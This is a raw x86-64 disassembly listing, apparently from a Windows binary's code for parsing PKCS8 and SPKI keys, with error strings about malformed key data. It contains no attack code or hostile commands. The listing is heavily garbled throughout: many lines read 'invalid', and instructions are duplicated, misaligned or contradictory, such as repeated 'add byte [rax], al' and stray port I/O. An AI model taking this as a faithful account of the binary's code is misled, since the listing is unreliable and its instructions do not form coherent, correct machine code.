movabs eax, dword [0x1c70c0841c6]
add byte [rax], al
mov byte [rcx + 8], 0xc
mov dword [rcx], 0
mov dword [rcx + 4], eax
jmp 0x14005e72d
int3
in al, dx
call 0x18805e7b4
mov edi, edx
mov rsi, rcx
mov byte [rsp + 0xb0], 0
lea rcx, [rsp + 0x30]
lea r8, [rsp + 0xb0]
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
call fcn.14005e590
mov ecx, dword [rsp + 0x30]
cmp ecx, 2
jne 0x14005e8a0
movzx edx, byte [rsp + 0xb0]
lea rcx, [rsp + 0x70]
call fcn.140046a00
invalid
invalid
dec dword [rbx - 0x7c8fdbb4]
stc
add cl, byte [rdi]
test ecx, ebx
add byte [rax], al
invalid
invalid
movzx eax, byte [rsp + 0x76]
shl eax, 0x10
movzx r15d, word [rsp + 0x74]
and al, 0x74
or r15d, eax
mov byte [rsp + 0x2f], 0
lea rcx, [rsp + 0x30]
lea r8, [rsp + 0x2f]
mov rdx, rdi
call fcn.14005e590
mov ecx, dword [rsp + 0x30]
and al, 0x30
and al, 0x30
xor byte [rbx - 0x7af0fd07], al
add byte [rdx], 0
add byte [rdi], cl
mov dh, 0x5c
and al, 0x2f
cmp ecx, 2
jne 0x14005eab4
movzx ebx, byte [rsp + 0x2f]
test bl, bl
js 0x14005e9be
mov ebp, ebx
cmp r15b, 1
jne 0x14005e9d3
mov ebx, ebp
movabs r14, 0xffffffff00000000
lea rcx, [rsp + 0x30]
mov rdx, rdi
mov r8d, ebx
call fcn.14005e6d0
mov ecx, dword [rsp + 0x30]
and al, 0x30
and al, 0x30
cmp ecx, 2
jne 0x14005eb0a
mov r8, qword [rdi]
cmp byte [r8 + 0x1c], 0
je 0x14005eb6c
mov byte [r8 + 0x1c], 1
mov eax, dword [r8 + 0x18]
mov ecx, 1
mov r15d, 1
xor r9d, r9d
jmp 0x14005eb3f
mov eax, dword [rsp + 0x34]
mov r15, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [rsp + 0x88], xmm0
movups xmm0, xmmword [rsp + 0x58]
adc byte [rsp + 0x58], al
adc byte [rsp + 0x58], al
movups xmmword [rsp + 0x98], xmm0
mov r8d, eax
shr r8d, 0x18
mov r9, r15
shr r9, 0x20
shr ecx, 0x20
shr ecx, 0x20
jmp 0x14005e8ff
movzx edx, byte [rsp + 0x76]
shl edx, 0x10
movzx eax, word [rsp + 0x74]
or eax, edx
movzx r8d, byte [rsp + 0x77]
mov r15d, dword [rsp + 0x78]
js 0x14005e937
mov ecx, dword [rsp + 0x7c]
js 0x14005e937
mov ecx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x80]
movzx r10d, r8b
shl r10d, 0x18
mov r14, qword [rsp + 0x88]
mov r8d, dword [rsp + 0x90]
invalid
add byte [rdi], cl
adc byte [rsp + 0x94], al
movups xmm0, xmmword [rsp + 0x94]
movaps xmmword [rsp + 0xd0], xmm0
mov r11d, dword [rsp + 0xa4]
add byte [rcx + rcx*4 - 0x64], al
and al, 0xe0
loopne 0x14005e935
add byte [rax], al
add byte [rbx + rcx*4 - 0x64], al
and al, 0xa4
add byte [rax], al
add byte [rcx + rcx*4 - 0x64], al
and al, 0xe0
loopne 0x14005e935
add byte [rax], al
and eax, 0xffffff
loopne 0x14005e935
and eax, 0xffffff
invalid
or eax, r10d
shl r9, 0x20
loope 0x14005e963
mov r10d, dword [rsp + 0xe0]
mov dword [rsp + 0x40], r10d
and al, 0xe0
add byte [rax], al
add byte [rcx + rcx*4 + 0x54], al
and al, 0x40
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
test byte [rax + rdx*8], ah
add byte [rax], al
invalid
add byte [rdi], cl
sub dword [rsp + 0x30], eax
and al, 0x30
and al, 0x30
mov r15d, r15d
or r15, r9
or edi, ecx
or edi, ecx
mov r9d, dword [rdi + 0xc]
test ecx, ecx
jne 0x14005e96d
xor eax, eax
add r9d, eax
add ecx, eax
ror dword [rdi], 0x92
sal dh, 0xd0
setb al
not al
cmp r9d, 0x10000000
setb cl
and cl, al
movzx eax, cl
mov qword [rsi + 8], r15
or byte [rax - 0x77], cl
push rsi
invalid
or byte [rax - 0x77], cl
push rsi
adc byte [rcx + rcx*4 + 0x76], cl
mov dword [rsi + 0x18], esi
invalid
invalid
invalid
mov dword [rsi + 0x10], edx
mov qword [rsi + 0x18], r14
mov dword [rsi + 0x18], esi
mov dword [rsi + 0x20], r8d
movaps xmm0, xmmword [rsp + 0x30]
and al, 0x30
and byte [rdi], cl
sub byte [rsp + 0x30], al
and al, 0x30
movups xmmword [rsi + 0x24], xmm0
mov ecx, dword [rsp + 0x40]
mov dword [rsi + 0x34], ecx
mov dword [rsi + 0x34], ecx
mov dword [rsi], eax
mov dword [rsi + 4], r9d
invalid
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor ecx, ecx
cmp ebx, 0x80
add byte [rax], 0
add byte [rbp + 0x23], dh
add byte [rax], 0
add byte [rbp + 0x23], dh
mov r12d, 5
jmp 0x14005ec06
and r15d, 0xffffff
shl r15, 0x20
or r15, 0x113
add dword [rax], eax
invalid
invalid
mov r9d, dword [rdi + 0xc]
jmp 0x14005e96b
mov r12d, 0xd
cmp bl, 0x84
sti
test byte [rdi], cl
xchg dword [rdx + rax], ecx
add byte [rax], al
sti
test byte [rdi], cl
xchg dword [rdx + rax], ecx
add byte [rax], al
mov r13, rbx
mov ebp, ebx
mov ebp, ebx
xor ebp, ebp
xor r13, 0x80
add byte [rax], 0
invalid
je 0x14005ea83
add byte [rax], 0
add byte [rax], al
add byte [rbx + rdi*2 + 0x4c], dh
lea esi, [rsp + 0x2f]
lea r14, [rsp + 0x2f]
mov byte [rsp + 0x2f], 0
lea rcx, [rsp + 0x30]
mov rdx, rdi
mov r8, r14
call fcn.14005e590
invalid
mov ecx, dword [rsp + 0x30]
and al, 0x30
dec dword [rbx - 0x7ccfdbb4]
stc
add cl, byte [rdi]
test dword [rbp - 0x77000000], eax
call 0x14f0ecaf6
or byte [rdi], cl
and al, 0x30
and al, 0x30
cmp ecx, 2
jne 0x14005eab4
mov eax, ebp
shl eax, 8
or byte [rdi], cl
mov dh, 0x6c
and al, 0x2f
or byte [rdi], cl
mov dh, 0x6c
insb byte [rdi], dx
and al, 0x2f
or ebp, eax
dec r13
dec ebp
dec ebp
jne 0x14005ea0d
cmp ebp, 0x10000000
jae 0x14005ebfe
add dword [rax], eax
invalid
add byte [rax], al
adc byte [rdi], cl
xor dword [rdx - 0x76ffffff], 0xffffffe9
add dword [rax], eax
add byte [rcx - 0x7f1e7e17], cl
invalid
dec dword [rdi]
add dword [rax], eax
add byte [rcx - 0x7f1e7e17], cl
invalid
mov al, 1
mov r10b, 0x81
cmp ecx, 0x80
je 0x14005ea94
lea ecx, [rbp - 0x100]
mov r10b, 0x82
cmp ecx, 0xff00
jb 0x14005ea94
invalid
lea ecx, [rbp - 0x10000]
mov r10b, 0x83
cmp ecx, 0xff0000
inc dword [rax]
inc dword [rax]
jb 0x14005ea94
lea eax, [rbp - 0x1000000]
cmp eax, 0xf000000
setb al
mov r10b, 0x84
add byte [rax], al
invalid
xor ecx, ecx
test al, al
ror byte [rdi], 0x84
invalid
add dword [rax], eax
invalid
ror byte [rdi], 0x84
push 0x41000001
mov r9d, 0
mov ecx, 0
mov eax, 0
add byte [rax], al
cmp r10b, bl
je 0x14005e843
std
invalid
invalid
std
invalid
jmp case.0x1400356f8.289
mov r9d, dword [rsp + 0x34]
mov r12, qword [rsp + 0x38]
mov esp, dword [rsp + 0x38]
mov esp, dword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov edx, dword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
mov r14, qword [rsp + 0x48]
mov r8d, dword [rsp + 0x50]
movups xmm0, xmmword [rsp + 0x54]
and al, 0x54
and al, 0x54
movaps xmmword [rsp + 0x70], xmm0
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x80], eax
mov dword fs:[rsp + 0x80], eax
mov eax, r9d
and eax, 0xffffff00
invalid
invalid
invalid
cmp r12b, 0xd
jne 0x14005ec15
and dword [rcx], eax
add byte [rax], al
invalid
and r15d, 0xffffff
and edi, 0xffffff
out 0xff, eax
invalid
shl r15, 8
or r15, 6
or edi, 6
or edi, 6
xor ecx, ecx
jmp 0x14005ec3c
mov eax, dword [rsp + 0x34]
mov r15, qword [rsp + 0x38]
jl 0x14005eb36
invalid
jl 0x14005eb36
and al, 0x38
cmp byte [rax - 0x75], cl
mov rdx, qword [rsp + 0x40]
push rsp
and al, 0x40
mov r9, rdx
and r9, r14
mov r11, qword [rsp + 0x48]
and al, 0x48
and al, 0x48
mov r8d, dword [rsp + 0x50]
movups xmm0, xmmword [rsp + 0x54]
and al, 0x54
and al, 0x54
movaps xmmword [rsp + 0x70], xmm0
mov r10d, dword [rsp + 0x64]
mov dword [rsp + 0x80], r10d
add byte [rax], 0
invalid
jo 0x14005eb77
mov dword fs:[rsp + 0x80], r10d
add byte [rax], 0
add byte [rcx - 0x35f6b32e], cl
add byte [rax], al
mov edx, edx
or rdx, r9
mov r9d, 0xffffffff
or r14, r9
or esi, ecx
and r14, r11
mov r9d, dword [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rax], al
and al, 0x80
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x70]
sub byte [rsp + 0x70], al
and al, 0x70
movaps xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], r9d
mov dword [rsp + 0x40], ecx
jmp 0x14005e963
jmp 0x14005e963
invalid
dec dword [rcx - 0x75]
or byte [rbp - 0x75], al
mov edx, dword [rax + 0x18]
sub rcx, r10
mov rcx, qword [r8 + 8]
mov r10d, dword [r8 + 0x18]
mov edx, dword [rax + 0x18]
mov edx, dword [rax + 0x18]
sub rcx, r10
jae 0x14005eba7
mov edx, dword [r8 + 0x10]
lea eax, [rdx + 1]
xor ecx, ecx
cmp eax, 0x10000000
add byte [rax], al
add byte [rax], dl
invalid
add byte [rax], al
add byte [rax], dl
invalid
setae cl
mov r15d, edx
xchg ebx, eax
rol dword [rcx - 0x77], 0xd7
inc r15d
lea rcx, [rcx + rcx*8 + 3]
lea ecx, [rcx + rcx*8 + 3]
lea ecx, [rcx + rcx*8 + 3]
leave
add edi, dword [rax + 0xc]
or al, 0
add byte [rax], al
mov eax, 0xc
or al, 0
add byte [rax], al
cmovne rax, rcx
shl r15, 0x20
mov r10d, edx
jmp 0x14005ebd7
invalid
xor byte [rcx + rcx*4 - 0x30], al
mov eax, r10d
add eax, ebx
setb r9b
cmp eax, 0x10000000
setae dl
or dl, r9b
or dl, cl
or dl, cl
cmp rcx, rbx
cmp ecx, ebx
jae 0x14005ebea
test dl, dl
jne 0x14005ebee
mov edx, dword [r8 + 0x10]
mov byte [r8 + 0x1c], 1
shl rax, 0x20
loopne 0x14005ebf1
loopne 0x14005ebf1
and byte [rcx - 0x41], al
add eax, dword [rax]
add byte [rax], al
mov r15d, 3
or r15, rax
or edi, eax
invalid
mov ecx, 1
xor r9d, r9d
mov eax, r10d
jmp 0x14005eb3f
test dl, dl
je 0x14005ec68
xor r9d, r9d
mov r15d, 0xc
xor ecx, ecx
add byte [rcx], dh
leave
jmp 0x14005eb3f
inc dword [rcx - 0x44]
or al, 0
add byte [rax], al
mov esp, 0xc
xor ecx, ecx
xor r9d, r9d
xor eax, eax
cmp r12b, 0xd
je 0x14005eaf4
movzx r9d, r9b
leave
or eax, r9d
mov r9d, dword [rsp + 0x80]
add byte [rax], al
add byte [rcx + rcx*4 - 0x74], al
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x70], al
and al, 0x70
add byte [rax], al
add byte [rcx + rcx*4 - 0x74], al
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x70], al
and al, 0x70
and al, 0x70
movaps xmmword [rsp + 0xb0], xmm0
mov r15, r12
mov edi, esp
and al, 0xb0
add byte [rax], al
add byte [rbp - 0x77], cl
out 0x4d, eax
mov ecx, edi
mov edi, esp
mov r9, r15
shr r9, 0x20
mov r10d, dword [rsp + 0xc0]
and al, 0xc0
add byte [rax], al
add byte [rcx + rcx*4 - 0x6c], al
and al, 0xe0
add byte [rax], al
invalid
and byte [rbx + rcx*4 - 0x6c], al
and al, 0xc0
add byte [rax], al
rol byte [rax], 0
add byte [rcx + rcx*4 - 0x6c], al
and al, 0xe0
add byte [rax], al
add byte [rdi], cl
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm0, xmmword [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xd0], eax
test byte [rax + rdx*8], ah
add byte [rax], al
invalid
movaps xmmword [rsp + 0xd0], xmm0
test byte [rax + rdx*8], ah
add byte [rax], al
add cl, ch
xlatb
jmp case.0x14007fe84.390
cld
invalid
mov rcx, qword [r8]
add rcx, r10
mov dword [r8 + 0x18], eax
mov dword [rax + 0x18], eax
mov dword [rax + 0x18], eax
mov r15d, 0x107
test rbx, rbx
test ebx, ebx
add dword [rax], eax
add byte [rax - 0x7b], cl
test ebx, ebx
je 0x14005e9e5
mov rax, rbx
cmp eax, 1
jne 0x14005ec97
test ebx, ebx
je 0x14005e9e5
std
invalid
mov rax, rbx
cmp eax, 1
jne 0x14005ec97
movzx edx, byte [rcx]
mov dh, 0x11
test dl, dl
jne 0x14005eca2
sal byte [rbp + 0x12], cl
mov eax, 1
add bl, ch
adc ecx, dword [rdi]
mov dh, 0x11
jmp 0x14005ecaa
movzx edx, byte [rcx]
test dl, dl
je 0x14005ed4c
invalid
stosb byte [rdi], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test dl, dl
js 0x14005ed41
invalid
xchg edi, eax
add byte [rax], al
invalid
mov byte [rdi + 0x48000000], dl
add eax, 2
invalid
add rax, 2
add cl, byte [rax - 1]
leave
dec rcx
mov r14, rax
lea rdx, [rcx + 1]
push rcx
add dword [rax - 1], ecx
enter 0xffffffffffff8349, 0xfffffffffffffffe
inc byte [rbx]
push rcx
add dword [rax - 1], ecx
enter 0xffffffffffff8349, 0xfffffffffffffffe
inc byte [rbx]
je 0x14005ecca
invalid
jns 0x14005ecc5
inc byte [rbx]
je 0x14005ecca
cmp byte [rcx + 1], 0
add byte [rax - 0x77], cl
sal dword [rdi + riz*8 + 0x49], 1
mov rcx, rdx
je 0x14005ecb1
add r14, 0xfffffffffffffffe
add esi, 0xfffffffe
cmp r14, 0xfffffff
cmp esi, 0xfffffff
ja 0x14005ed28
mov r8, rdx
mov r9, rax
movzx ecx, byte [r8]
dec rax
cmp r9, 2
cmp ecx, 2
stc
invalid
je 0x14005ecf1
invalid
invalid
leave
je 0x14005ecda
cmp rax, 0xfffffff
ja 0x14005ed62
movzx ecx, cl
shr ecx, 7
add ecx, eax
cmp ecx, 0x10000000
jae 0x14005ed72
cmp ecx, ebx
jne 0x14005e9e5
cld
invalid
invalid
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], r14
mov dword [rsi], 2
invalid
add al, byte [rax]
add byte [rax], al
jmp 0x14005e9aa
invalid
cld
invalid
invalid
or byte [rcx + rcx*4 + 0x76], cl
adc byte [rcx + rcx*4 + 0x76], cl
sbb bh, al
invalid
invalid
mov rdx, r14
mov edx, esi
shl rdx, 0x20
or rdx, 0xc
mov r15d, 0x1010106
and byte [rax - 0x7d], cl
retf 0x410c
mov r8d, r14d
mov eax, esi
jmp 0x14005e9e5
mov r15d, 0x117
jmp 0x14005e9e5
cld
invalid
invalid
cld
invalid
cmp byte [rcx + 1], 0
jns 0x14005e9e5
invalid
invalid
cld
invalid
invalid
mov dword [rdi + 0x48fffffc], ecx
inc ecx
invalid
invalid
inc rcx
ror dword [rax - 0x73], 0x43
invalid
lea rax, [rbx - 1]
jmp 0x14005ecaa
shl rax, 0x20
or rax, 0xc
or al, 0x49
mov edi, eax
and byte [rax - 0x7d], cl
enter 0x490c, 0xffffffffffffff89
or al, 0x49
mov edi, eax
or al, 0x49
mov edi, eax
jmp 0x14005e9e5
cld
invalid
mov r15d, 0xc
jmp 0x14005e9e5
int3
push rsi
push rbx
sub rsp, 0x48
mov rax, qword [rcx]
mov eax, dword [rcx]
add rax, 0xfffffffffffffffc
cmp rax, 4
mov r8d, 2
add byte [rax], al
cmovb r8, rax
cmovb eax, eax
ror byte [rax - 0x77], 0xd6
mov rsi, rdx
lea rax, [0x1400e6ff8]
movsxd rdx, dword [rax + r8*4]
add rdx, rax
add edx, eax
invalid
add edx, eax
jmp rdx
add rcx, 8
mov qword [rsp + 0x40], rcx
ror dword [rax], 0x48
mov dword [rsp + 0x40], ecx
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
lea rdx, [0x1400df96a]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400df96a]
mov r8d, 4
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x30], esi
and al, 0x30
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
add byte [rax], al
add dh, al
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
add eax, 0x113
add eax, 0x113
jmp case.0x14004753d.372
pop rcx
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x7b07c
invalid
invalid
invalid
mov r8d, 6
jmp 0x14005eed5
enter 0, 0
enter 0, 0
mov qword [rsp + 0x40], rcx
and al, 0x40
mov rcx, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400dae54]
lea edx, [0x1400dae54]
lea edx, [0x1400dae54]
add byte [rcx - 0x48], al
add eax, 0xff000000
add bh, bh
mov r8d, 5
call qword [rax + 0x18]
sbb byte [rax - 0x77], cl
je 0x14005ee52
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
invalid
add bh, bh
push rax
sbb byte [rax - 0x77], cl
je 0x14005ee52
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
invalid
add dh, al
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x14005eef0]
mov byte [rsp + 0x39], 0
lea r8, [0x14005eef0]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
lea edx, [rsp + 0x40]
call fcn.14003fc80
call fcn.14003fc80
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
je 0x14005eede
mov bl, 1
test cl, cl
jne 0x14005eee0
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x14005eea0
test byte [rsi + 0x34], 4
jne 0x14005eea0
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x806c2
mov r8d, 1
mov eax, 1
add byte [rax], al
add byte [rax], al
call qword [rax + 0x18]
test al, al
jne 0x14005eee0
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e0b85]
mov r8d, 1
mov eax, 1
mov eax, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14005eee0
push rax
sbb byte [rcx + 0x4824ebc3], cl
mov rcx, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x7afb5
mov r8d, 7
mov eax, 7
mov eax, 7
add byte [rax - 0x7d], cl
invalid
add rsp, 0x48
pop rbx
pop rsi
jmp rax
mov ebx, ecx
test bl, bl
setne al
ror byte [rax - 0x7d], 0xc4
pop rbx
pop rsi
ret
sub esp, 0x68
mov rax, qword [rcx]
lea r9, [0x1400e7008]
or byte [rax], al
in al, dx
push 0x4c018b48
lea r9, [0x1400e7008]
or byte [rax], al
movsxd rax, dword [r9 + rax*4]
add rax, r9
jmp rax
add rcx, 8
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
or byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov dword [rsp + 0x20], ecx
lea rax, [rsp + 0x20]
and al, 0x20
and byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x28], rax
lea rax, [0x14005eff0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x30], eax
lea rax, [0x1400d9ea0]
add bl, ch
jmp 0x14005ef88
cmp dword [rbp - 0x75], ecx
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rax, [0x1400d9ed7]
mov r9, qword [r8 + 0x18]
mov ecx, dword [rax + 0x18]
lea rax, [0x1400d9ed7]
mov r8d, 0x25
jmp 0x14005efdc
add rcx, 8
mov qword [rsp + 0x20], rcx
ror dword [rax], 0x48
mov dword [rsp + 0x20], ecx
lea rax, [rsp + 0x20]
and al, 0x20
mov qword [rsp + 0x28], rax
and al, 0x28
lea rax, case.0x140042585.210
mov qword [rsp + 0x30], rax
xor byte [rax - 0x73], cl
add eax, 0x7af88
xor byte [rax - 0x73], cl
add eax, 0x7af88
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
and al, 0x40
add dword [rax], eax
add byte [rax], al
invalid
and al, 0x40
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x58
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x38]
cmp byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x3e], 1
cmp byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x3e], 1
mov r8, rax
mov eax, eax
call fcn.14003e1b0
nop
add rsp, 0x68
ret
mov r9, qword [r8 + 0x18]
lea rax, str.PKCS8_cryptographic_key_data_malformedPKCS8_algorithm_parameters_malformedpublic_key_error:
add eax, 0x7aeda
add eax, 0x7aeda
mov r8d, 0x27
mov rcx, rdx
mov rdx, rax
mov edx, eax
mov edx, eax
add rsp, 0x68
jmp r9
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x68
mov r14, qword [rcx]
lea rax, [r14 + 8]
or byte [rax - 0x77], r9b
and al, 0x28
or byte [rax - 0x77], r9b
and al, 0x28
lea rax, [0x140047e50]
mov qword [rsp + 0x30], rax
xor byte [rax - 0x73], cl
add eax, 0x858b0
xor byte [rax - 0x73], cl
add eax, 0x858b0
mov al, 0x58
or byte [rax], al
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x40], 1
and al, 0x40
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 0
lea rbx, [rsp + 0x28]
lea ebx, [rsp + 0x28]
and al, 0x28
and al, 0x28
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov rsi, qword [rdx + 0x20]
mov rdi, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
and al, 0x38
mov rcx, rsi
mov ecx, esi
mov ecx, esi
mov rdx, rdi
call fcn.14003e1b0
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14005f0c6
cmp dword [r14], 0
je 0x14005f0c4
mov eax, dword [r14 + 4]
mov dword [rsp + 0x24], eax
lea rax, [rsp + 0x24]
mov qword [rsp + 0x28], rax
lea rax, [0x14003f490]
invalid
add al, 0xfe
dec dword [rax - 0x77]
and al, 0x30
lea rax, str.0w_r_
mov qword [rsp + 0x38], rax
invalid
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
and al, 0x58
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x58
and al, 0x58
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], 1
push rax
add dword [rax], eax
add byte [rax], al
lea r8, [rsp + 0x38]
mov rcx, rsi
mov rdx, rdi
call fcn.14003e1b0
out dx, al
invalid
std
invalid
jmp 0x14005f0c6
out dx, al
invalid
xor eax, eax
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
ret
add ecx, 0xfffffffe
cmp ecx, 4
mov r8d, 1
mov eax, 1
mov eax, 1
cmovb r8d, ecx
lea rcx, [0x1400e7018]
lea ecx, [0x1400e7018]
lea ecx, [0x1400e7018]
movsxd r8, dword [rcx + r8*4]
add r8, rcx
jmp r8
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x807a1
sbb byte [rax - 0x73], cl
adc eax, 0x807a1
mov r8d, 0x26
jmp 0x14005f12e
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.SPKI_cryptographic_key_data_malformedunknown_unsupported_algorithm_OID:
invalid
or byte [rax], al
mov r8d, 0x25
invalid
add rsp, 0x68
jmp rax
add rax, 4
mov qword [rsp + 0x20], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [0x14003d3d0]
std
dec dword [rax - 0x77]
mov dword [rsp + 0x30], eax
std
dec dword [rax - 0x77]
mov dword [rsp + 0x30], eax
lea rax, [0x1400df940]
jmp 0x14005f17f
mov qword [rsp + 0x20], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [0x14005eff0]
dec dword [rax - 0x77]
and al, 0x30
and al, 0x30
lea rax, [0x1400df8e8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
mov qword [rsp + 0x50], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x38
call fcn.14003e1b0
nop
add rsp, 0x68
ret
int3
lea rdx, [0x1400e7028]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov eax, dword [rsi + 0x28]
lea rdx, [0x1400df96a]
or byte [rax], al
mov r8d, 4
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
and al, 0x28
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x39], 0
lea r8, [0x14005ef00]
jmp 0x14005f2a9
cld
invalid
invalid
sbb byte [rax - 0x73], cl
adc eax, 0x8072e
mov r8d, 0xc
jmp 0x14005f261
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x7acc5
invalid
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.ParametersMalformedPublicKey
adc eax, 0x7acc5
invalid
add byte [rcx - 0x48], al
adc eax, dword [rax]
add byte [rax], al
mov r8d, 0x13
add rsp, 0x48
pop rbx
pop rsi
jmp rax
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x14005f330]
invalid
add byte [rax - 0x73], cl
and al, 0x28
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.14003fc80
invalid
dec dword [rax - 0x75]
and al, 0x28
movzx ecx, byte [rsp + 0x38]
test rax, rax
je 0x14005f31d
mov bl, 1
test cl, cl
jne 0x14005f31f
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x48
pop rbx
pop rsi
ret
int3
cmp ecx, 4
mov r8d, 1
mov eax, 1
cmovb r8d, ecx
mov rsi, rdx
mov esi, edx
mov esi, edx
lea rcx, [0x1400e7038]
movsxd rdx, dword [rcx + r8*4]
add rdx, rcx
jmp rdx
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x805df
mov r8d, 0x1a
jmp 0x14005f403
mov qword [rsp + 0x40], rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400df96a]
mov r8d, 4
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x39], 0
lea r8, [0x14005ef00]
lea rcx, [rsp + 0x28]
and al, 0x28
and al, 0x28
lea rdx, [rsp + 0x40]
call fcn.14003fc80
mov rax, qword [rsp + 0x28]
sub byte [rdi], cl
mov dh, 0x4c
and al, 0x38
sub byte [rdi], cl
mov dh, 0x4c
and al, 0x38
test rax, rax
je 0x14005f49f
mov bl, 1
test cl, cl
leave
leave
je 0x14005f4a5
test bl, bl
jmp 0x14005f513
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400df96e]
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x80571
